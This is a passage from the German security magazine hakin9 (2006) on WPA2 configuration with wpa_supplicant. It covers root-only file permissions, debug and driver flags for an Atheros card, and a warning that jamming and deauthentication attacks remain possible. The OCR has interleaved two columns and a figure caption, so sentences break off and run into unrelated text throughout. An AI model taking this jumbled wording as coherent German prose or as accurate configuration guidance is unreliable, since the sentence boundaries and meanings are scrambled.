Datei sollte nur dem root-Benutzer heit in drahtlosen Netzwerken sein.
zugänglich sein. Vergessen Sie nicht Ihre drahtlosen
Der wpa_supplicant-Daemon Geräte in einen gefiltertem Bereich
sollte als erstes mit root-Privilegien zu platzieren und halten Sie eine
im Debug-Modus (-dd-Option) mit Kabelverbindung in unverzichtbaren
der richtigen Treiberunterstützung Netzwerken parat – Hochfrequenz-
(in unserem Beispiel ist es die störungen und Low-Level-Angriffe
-D mad-Wifi-Option für die Unterstüt- (Verletzung des 802.11-Standards,
Abbildung 16. WPA2- zung des Atheros-Chipsatzes), dem falsche De-Association etc.) können
Unterstützung unter Windows XP Namen der Schnittstelle (-i-Option, immer noch verheerende Auswirkun-
SP2 in unserem Fall ist es ath0) und dem gen haben. l

www.hakin9.org hakin9 Nr. 1/2006 27